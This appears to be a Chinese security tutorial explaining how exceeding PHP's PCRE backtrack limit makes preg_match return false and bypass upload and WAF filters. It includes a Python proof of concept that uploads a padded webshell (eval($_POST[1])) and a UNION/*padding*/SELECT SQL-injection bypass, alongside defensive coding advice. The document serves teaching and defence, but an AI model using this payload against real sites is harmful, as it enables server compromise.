利用正则回溯最大次数上限绕过preg_match
字数 799 2025-08-04 00:46:02

利用正则回溯最大次数上限绕过preg_match防御机制

正则表达式回溯原理

基本概念

正则表达式引擎有两种主要类型:

  • DFA (确定性有限状态自动机):线性匹配,无回溯,性能高但功能有限
  • NFA (非确定性有限状态自动机):支持回溯,功能强大但性能较低(PHP的PCRE库使用此类型)

回溯机制详解

贪婪量词示例

var string = "12345";
var regex = /(\d{1,3})(\d{1,3})/;
// 匹配结果: ["12345", "123", "45"]
  • 前一个\d{1,3}会尽可能多地匹配(贪婪匹配)

惰性量词示例

var string = "12345";
var regex = /(\d{1,3}?)(\d{1,3})/;
// 匹配结果: ["1234", "1", "234"]
  • \d{1,3}?会尽可能少地匹配,但仍可能因整体匹配需要而回溯

PHP的PCRE回溯限制

安全机制

PHP为防止正则表达式拒绝服务攻击(reDOS),设置了回溯次数上限:

pcre.backtrack_limit = 1000000 // 默认值

关键行为

当正则匹配回溯次数超过限制时:

  • preg_match()返回false而非01
  • 这一特性可被利用来绕过安全检查

实际绕过案例

示例漏洞代码

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

// 文件上传检查
if (is_php($data)) {
    echo "bad request";
} else {
    // 文件保存操作
}

绕过原理

  1. 构造超长输入使回溯次数超过100万次
  2. 导致preg_match()返回false
  3. false在条件判断中相当于false,绕过检查

利用POC (Python)

import requests
from io import BytesIO

url = "http://target.com/upload.php"
files = {
    'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
}
res = requests.post(url=url, files=files, allow_redirects=False)
print(res.headers)

防御措施

正确使用preg_match

// 错误用法
if (preg_match('/pattern/', $input)) {
    // ...
}

// 正确用法
if (preg_match('/pattern/', $input) === 1) {
    // ...
}

其他防御建议

  1. 对上传文件进行内容类型检查
  2. 限制上传文件大小
  3. 存储上传文件时使用随机文件名和不可执行目录
  4. 使用白名单而非黑名单进行过滤

WAF绕过应用

SQL注入WAF示例

if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}

绕过方法

构造类似UNION/*aaaaa*/SELECT的payload,其中/*aaaaa*/部分填充大量字符使回溯超限

总结

关键知识点:

  1. NFA正则引擎的回溯机制
  2. PHP的pcre.backtrack_limit安全限制
  3. preg_match在回溯超限时的特殊返回值
  4. 利用超长输入触发回溯限制绕过安全检查
  5. 正确的防御编码实践

此技术适用于多种使用正则表达式进行安全检查的场景,特别是PHP应用程序中基于preg_match的黑名单过滤机制。

利用正则回溯最大次数上限绕过preg_ match防御机制 正则表达式回溯原理 基本概念 正则表达式引擎有两种主要类型: DFA (确定性有限状态自动机) :线性匹配,无回溯,性能高但功能有限 NFA (非确定性有限状态自动机) :支持回溯,功能强大但性能较低(PHP的PCRE库使用此类型) 回溯机制详解 贪婪量词示例 : 前一个 \d{1,3} 会尽可能多地匹配(贪婪匹配) 惰性量词示例 : \d{1,3}? 会尽可能少地匹配,但仍可能因整体匹配需要而回溯 PHP的PCRE回溯限制 安全机制 PHP为防止正则表达式拒绝服务攻击(reDOS),设置了回溯次数上限: 关键行为 当正则匹配回溯次数超过限制时: preg_match() 返回 false 而非 0 或 1 这一特性可被利用来绕过安全检查 实际绕过案例 示例漏洞代码 绕过原理 构造超长输入使回溯次数超过100万次 导致 preg_match() 返回 false false 在条件判断中相当于 false ,绕过检查 利用POC (Python) 防御措施 正确使用preg_ match 其他防御建议 对上传文件进行内容类型检查 限制上传文件大小 存储上传文件时使用随机文件名和不可执行目录 使用白名单而非黑名单进行过滤 WAF绕过应用 SQL注入WAF示例 绕过方法 构造类似 UNION/*aaaaa*/SELECT 的payload,其中 /*aaaaa*/ 部分填充大量字符使回溯超限 总结 关键知识点: NFA正则引擎的回溯机制 PHP的pcre.backtrack_ limit安全限制 preg_ match在回溯超限时的特殊返回值 利用超长输入触发回溯限制绕过安全检查 正确的防御编码实践 此技术适用于多种使用正则表达式进行安全检查的场景,特别是PHP应用程序中基于preg_ match的黑名单过滤机制。